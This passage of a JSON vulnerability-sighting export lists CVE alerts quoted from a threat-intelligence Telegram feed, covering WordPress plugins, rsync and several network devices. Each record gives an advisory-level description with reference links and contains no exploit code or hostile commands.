https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L55\n11. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extensions_Plugin_Admin.php#L246\n12. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/Extension_ImageService_Plugin_Admin.php#L200\n13. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/UsageStatistics_Plugin_Admin.php#L10\n14. https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.8.0/UsageStatistics_Plugin_Admin.php#L94", "creation_timestamp": "2025-01-14T08:08:18.000000Z"}, {"uuid": "79db0816-1da3-4528-9aca-d5949b377dc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1713", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12297\n\ud83d\udd39 Description: Moxa\u2019s Ethernet switch EDS-508A Series, running firmware version 3.11 and earlier, is vulnerable to an authentication bypass because of flaws in its authorization mechanism. Although both client-side and back-end server verification are involved in the process, attackers can exploit weaknesses in its implementation. These vulnerabilities may enable brute-force attacks to guess valid credentials or MD5 collision attacks to forge authentication hashes, potentially compromising the security of the device.\n\ud83d\udccf Published: 2025-01-15T10:00:46.524Z\n\ud83d\udccf Modified: 2025-01-15T10:00:46.524Z\n\ud83d\udd17 References:\n1. https://www.moxa.com/en/support/product-support/security-advisory/mpsa-241407-cve-2024-12297-frontend-authorization-logic-disclosure-vulnerability-in-eds-508a-series", "creation_timestamp": "2025-01-15T10:10:52.000000Z"}, {"uuid": "0672adae-2f1b-423e-b881-e7e7680cff3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1451", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12398\n\ud83d\udd39 Description: An improper privilege management vulnerability in the web management interface of the Zyxel WBE530 firmware versions through 7.00(ACLE.3) and\u00a0WBE660S firmware versions through 6.70(ACGG.2) could allow an authenticated user with limited privileges to escalate their privileges to that of an administrator, enabling them to upload configuration files to a vulnerable device.\n\ud83d\udccf Published: 2025-01-14T01:39:04.348Z\n\ud83d\udccf Modified: 2025-01-14T01:39:04.348Z\n\ud83d\udd17 References:\n1. https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-improper-privilege-management-vulnerability-in-aps-and-security-router-devices-01-14-2025", "creation_timestamp": "2025-01-14T02:08:29.000000Z"}, {"uuid": "acf68be8-715f-4eea-996c-d60da4b6ce76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12988", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1477", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12988\n\ud83d\udd39 Description: A vulnerability has been found in Netgear R6900P and R7000P 1.3.3.154 and classified as critical. Affected by this vulnerability is the function sub_16C4C of the component HTTP Header Handler. The manipulation of the argument Host leads to buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.\n\ud83d\udccf Published: 2024-12-27T17:00:14.876Z\n\ud83d\udccf Modified: 2025-01-14T13:59:51.349Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.289381\n2. https://vuldb.com/?ctiid.289381\n3. https://vuldb.com/?submit.462781\n4. https://github.com/physicszq/Routers/tree/main/Netgear/1.3.3.154\n5. https://www.netgear.com/about/eos/\n6. https://www.netgear.com/", "creation_timestamp": "2025-01-14T14:10:25.000000Z"}, {"uuid": "3ab12aa3-a672-4b30-8a82-0c5313095eac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1544", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12087\n\ud83d\udd39 Description: A path traversal vulnerability exists in rsync. It stems from behavior enabled by the `--inc-recursive` option, a default-enabled option for many client options and can be enabled by the server even if not explicitly enabled by the client. When using the `--inc-recursive` option, a lack of proper symlink verification coupled with deduplication checks occurring on a per-file-list basis could allow a server to write files outside of the client's intended destination directory. A malicious server could write malicious files to arbitrary locations named after valid directories/paths on the client.\n\ud83d\udccf Published: 2025-01-14T17:57:33.927Z\n\ud83d\udccf Modified: 2025-01-14T17:57:33.927Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12087\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330672", "creation_timestamp": "2025-01-14T18:09:02.000000Z"}, {"uuid": "1d95105b-f508-4e5b-a4a3-00cd228cf0c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1554", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12086\n\ud83d\udd39 Description: A flaw was found in rsync. It could allow a server to enumerate the contents of an arbitrary file from the client's machine. This issue occurs when files are being copied from a client to a server. During this process, the rsync server will send checksums of local data to the client to compare with in order to determine what data needs to be sent to the server. By sending specially constructed checksum values for arbitrary files, an attacker may be able to reconstruct the data of those files byte-by-byte based on the responses from the client.\n\ud83d\udccf Published: 2025-01-14T17:37:54.960Z\n\ud83d\udccf Modified: 2025-01-14T17:37:54.960Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12086\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330577", "creation_timestamp": "2025-01-14T18:09:53.000000Z"}, {"uuid": "6f292e4f-9950-4baa-a51d-60311c306ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1553", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12088\n\ud83d\udd39 Description: A flaw was found in rsync. When using the `--safe-links` option, rsync fails to properly verify if a symbolic link destination contains another symbolic link within it. This results in a path traversal vulnerability, which may lead to arbitrary file write outside the desired directory.\n\ud83d\udccf Published: 2025-01-14T17:38:34.890Z\n\ud83d\udccf Modified: 2025-01-14T17:38:34.890Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12088\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330676", "creation_timestamp": "2025-01-14T18:09:47.000000Z"}, {"uuid": "cfd678bb-fb72-49bb-9cd3-c93acb414a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1928", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12613\n\ud83d\udd39 Description: The Passwords Manager plugin for WordPress is vulnerable to SQL Injection via the $wpdb->prefix value in several AJAX fuctions in all versions up to, and including, 1.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-16T09:39:15.443Z\n\ud83d\udccf Modified: 2025-01-16T09:39:15.443Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/dec38992-a69f-4ccd-a23b-4dd1639897c3?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-passwords-ajax-action.php", "creation_timestamp": "2025-01-16T09:55:31.000000Z"}, {"uuid": "0592f709-341c-4e01-8ddc-d0a46716ebd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1927", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12427\n\ud83d\udd39 Description: The Multi Step Form plugin for WordPress is vulnerable to unauthorized limited file upload due to a missing capability check on the fw_upload_file AJAX action in all versions up to, and including, 1.7.23. This makes it possible for unauthenticated attackers to upload limited file types such as images.\n\ud83d\udccf Published: 2025-01-16T09:39:15.810Z\n\ud83d\udccf Modified: 2025-01-16T09:39:15.810Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f0a31fee-ccc2-4c3b-b198-6cb750188113?source=cve\n2. https://plugins.trac.wordpress.org/browser/multi-step-form/tags/1.7.22/includes/lib/msf-shortcode.class.php#L100\n3. https://plugins.trac.wordpress.org/browser/multi-step-form/tags/1.7.22/includes/lib/msf-shortcode.class.php#L30\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3219723%40multi-step-form&new=3219723%40multi-step-form&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-16T09:55:30.000000Z"}, {"uuid": "a4772b72-c979-4f3d-8900-35384c95a129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12226", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1924", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12226\n\ud83d\udd39 Description: In affected versions of the Octopus Kubernetes worker or agent, sensitive variables could be written to the Kubernetes script pod log in clear-text. This was identified in Version 2 however it was determined that this could also be achieved in Version 1 and the fix was applied to both versions accordingly.\n\ud83d\udccf Published: 2025-01-16T06:48:20.279Z\n\ud83d\udccf Modified: 2025-01-16T06:48:20.279Z\n\ud83d\udd17 References:\n1. https://advisories.octopus.com/post/2024/sa2024-10/", "creation_timestamp": "2025-01-16T06:55:17.000000Z"}, {"uuid": "65e925a7-7fe2-4824-869d-f57e02d34865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12117", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2528", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12117\n\ud83d\udd39 Description: The Stackable \u2013 Page Builder Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' parameter of the Button block in all versions up to, and including, 3.13.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-22T07:03:52.799Z\n\ud83d\udccf Modified: 2025-01-22T07:03:52.799Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bedc2254-29aa-46c5-8f85-47dd6affb42b?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3223387%40stackable-ultimate-gutenberg-blocks&new=3223387%40stackable-ultimate-gutenberg-blocks&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-22T08:02:06.000000Z"}, {"uuid": "0c1073d6-f4b0-46f5-9102-f4eb508f57e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1715", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12818\n\ud83d\udd39 Description: The WP Smart TV plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tv-video-player' shortcode in all versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-15T09:25:55.673Z\n\ud83d\udccf Modified: 2025-01-15T09:25:55.673Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e1d7cf90-1a9f-4d88-9dfb-f48481095a0c?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3222468%40wp-smart-tv&new=3222468%40wp-smart-tv&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-15T10:11:38.000000Z"}, {"uuid": "0e9b7df4-d286-4769-a99b-5bdfbcf1a83f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12423", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1717", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12423\n\ud83d\udd39 Description: The Contact Form 7 Redirect & Thank You Page plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'post' parameter in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-15T09:25:54.881Z\n\ud83d\udccf Modified: 2025-01-15T09:25:54.881Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9d67965c-f8f3-4868-a261-81cfc80dbcb3?source=cve\n2. https://plugins.trac.wordpress.org/browser/cf7-redirect-thank-you-page/tags/1.0.7/includes/admin/tabs_page.php#L87\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3220810%40cf7-redirect-thank-you-page&new=3220810%40cf7-redirect-thank-you-page&sfp_email=&sfph_mail=#file19", "creation_timestamp": "2025-01-15T10:12:10.000000Z"}, {"uuid": "ad809268-8422-468c-bda0-73f871f156b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1716", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12403\n\ud83d\udd39 Description: The Image Gallery \u2013 Responsive Photo Gallery plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'awsmgallery' parameter in all versions up to, and including, 1.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-15T09:25:55.266Z\n\ud83d\udccf Modified: 2025-01-15T09:25:55.266Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ca11e840-04bd-4731-bfa9-3bf8ed98e155?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3221064%40awesome-responsive-photo-gallery&new=3221064%40awesome-responsive-photo-gallery&sfp_email=&sfph_mail=\n3. https://plugins.trac.wordpress.org/browser/awesome-responsive-photo-gallery/trunk/inc/arpg-process-options.php?rev=1877314", "creation_timestamp": "2025-01-15T10:11:57.000000Z"}, {"uuid": "5b14f536-e453-4cab-8b7c-844d9f41276d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12593", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1735", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12593\n\ud83d\udd39 Description: The PDF for WPForms + Drag and Drop Template Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's yeepdf_dotab shortcode in all versions up to, and including, 4.6.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-15T11:24:36.516Z\n\ud83d\udccf Modified: 2025-01-15T11:24:36.516Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7e6b24a2-55ed-40e7-bcf0-a9ceb8ea022c?source=cve\n2. https://wordpress.org/plugins/pdf-for-wpforms/#developers\n3. https://plugins.trac.wordpress.org/changeset/3222206/", "creation_timestamp": "2025-01-15T12:21:48.000000Z"}, {"uuid": "412c2d2e-6787-47b2-9805-d190974b8bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1759", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12084\n\ud83d\udd39 Description: A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer.\n\ud83d\udccf Published: 2025-01-15T14:16:35.363Z\n\ud83d\udccf Modified: 2025-01-15T15:02:44.467Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12084\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330527\n3. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-01-15T15:10:13.000000Z"}, {"uuid": "c1d10dac-b7e1-456e-892c-9e12d3728bf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1930", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12614\n\ud83d\udd39 Description: The Passwords Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'pms_save_setting' and 'post_new_pass' AJAX actions in all versions up to, and including, 1.4.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugins settings and add passwords.\n\ud83d\udccf Published: 2025-01-16T09:39:14.567Z\n\ud83d\udccf Modified: 2025-01-16T09:39:14.567Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/898c5554-fd02-47a2-a1f9-1c488cfab57e?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-settings-ajax-action.php\n3. https://plugins.trac.wordpress.org/changeset/3221505/passwords-manager/trunk/include/pms-passwords-ajax-action.php", "creation_timestamp": "2025-01-16T09:55:32.000000Z"}, {"uuid": "523a330c-5581-4a9d-90b8-bf43ef9e58e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12529", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3066", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12529\n\ud83d\udd39 Description: The brodos.net Onlineshop Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'BrodosCategory' shortcode in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-25T07:24:14.367Z\n\ud83d\udccf Modified: 2025-01-25T07:24:14.367Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/19a672c6-e911-46bb-a55b-c5788eedca3e?source=cve\n2. https://plugins.trac.wordpress.org/browser/brodos-net-onlineshop/tags/2.0.1/class.onlineshop-init.php#L113", "creation_timestamp": "2025-01-25T08:05:48.000000Z"}, {"uuid": "aabe4822-97cf-44db-b287-8d1eb1eb569e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12885", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3065", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12885\n\ud83d\udd39 Description: The Connections Business Directory plugin for WordPress is vulnerable to arbitrary directory deletion due to insufficient file path validation when deleting a connections image directory in all versions up to, and including, 10.4.66. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary folders on the server and all their content.\n\ud83d\udccf Published: 2025-01-25T07:24:14.745Z\n\ud83d\udccf Modified: 2025-01-25T07:24:14.745Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/25e0c269-55c2-49f0-96bb-ae2696e2cea8?source=cve\n2. https://wordpress.org/plugins/connections/", "creation_timestamp": "2025-01-25T08:05:44.000000Z"}, {"uuid": "17d7d981-58e1-4108-8ac8-6d5bf5787740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2118", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12703\n\ud83d\udd39 Description: CWE-502: Deserialization of untrusted data vulnerability exists that could lead to loss of confidentiality, integrity\nand potential remote code execution on workstation when a non-admin authenticated user opens a malicious\nproject file.\n\ud83d\udccf Published: 2025-01-17T10:23:52.108Z\n\ud83d\udccf Modified: 2025-01-17T10:23:52.108Z\n\ud83d\udd17 References:\n1. https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-014-06&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-014-06.pdf", "creation_timestamp": "2025-01-17T10:57:03.000000Z"}, {"uuid": "92bf123f-a813-4042-b2e1-b24641f1872d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2112", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12399\n\ud83d\udd39 Description: CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel vulnerability\nexists that could cause partial loss of confidentiality, loss of integrity and availability of the HMI when attacker performs\nman in the middle attack by intercepting the communication.\n\ud83d\udccf Published: 2025-01-17T09:37:35.734Z\n\ud83d\udccf Modified: 2025-01-17T09:37:35.734Z\n\ud83d\udd17 References:\n1. https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-014-02&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-014-02.pdf", "creation_timestamp": "2025-01-17T09:56:18.000000Z"}, {"uuid": "5dd96a8a-3978-4cfb-bb99-54276b1d71be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2111", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12476\n\ud83d\udd39 Description: CWE-611: Improper Restriction of XML External Entity Reference vulnerability exists that could\ncause information disclosure, impacts workstation integrity and potential remote code execution on the\ncompromised computer, when specific crafted XML file is imported in the Web Designer configuration tool.\n\ud83d\udccf Published: 2025-01-17T09:42:47.616Z\n\ud83d\udccf Modified: 2025-01-17T09:42:47.616Z\n\ud83d\udd17 References:\n1. https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-014-04&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-014-04.pdf", "creation_timestamp": "2025-01-17T09:56:17.000000Z"}, {"uuid": "4260d343-a3f4-4dd3-b7ea-c5d3dd265458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12494", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2886", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12494\n\ud83d\udd39 Description: The BMLT Meeting Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bmlt_meeting_map' shortcode in all versions up to, and including, 2.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-24T09:21:51.989Z\n\ud83d\udccf Modified: 2025-01-24T09:21:51.989Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/73c01967-262c-48ab-a464-401b1cadd4be?source=cve\n2. https://plugins.trac.wordpress.org/browser/bmlt-meeting-map/tags/2.6.0/meeting_map.php#L33\n3. https://plugins.trac.wordpress.org/browser/bmlt-meeting-map/tags/2.6.0/meeting_map.php#L462", "creation_timestamp": "2025-01-24T10:03:59.000000Z"}, {"uuid": "ae3de259-f56b-4de6-a27a-edddd594616b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2091", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12806\n\ud83d\udd39 Description: A post-authentication absolute path traversal vulnerability in SonicOS management allows a remote attacker to read an arbitrary file.\n\ud83d\udccf Published: 2025-01-09T07:28:13.844Z\n\ud83d\udccf Modified: 2025-01-17T02:17:43.603Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0004", "creation_timestamp": "2025-01-17T02:56:08.000000Z"}, {"uuid": "d0823e07-8c91-40be-a607-eb0868fe4b63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2108", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12508\n\ud83d\udd39 Description: The Glofox Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'glofox' and 'glofox_lead_capture ' shortcodes in all versions up to, and including, 2.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-17T07:01:26.281Z\n\ud83d\udccf Modified: 2025-01-17T07:01:26.281Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3ed59d5b-0922-44e9-98e8-07b91d1f4840?source=cve\n2. https://wordpress.org/plugins/glofox-shortcodes/", "creation_timestamp": "2025-01-17T07:56:41.000000Z"}, {"uuid": "0a35b259-e4ef-44f6-99b9-dbfb7d4aca00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2104", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12637\n\ud83d\udd39 Description: The Moving Users plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.05 via the export functionality. The JSON files are stored in predictable locations with guessable file names when exporting user data. This could allow unauthenticated attackers to extract sensitive user data, for instance, email addresses, hashed passwords, and IP addresses.\n\ud83d\udccf Published: 2025-01-17T07:01:28.253Z\n\ud83d\udccf Modified: 2025-01-17T07:01:28.253Z\n\ud83d\udd17 References:\n1. 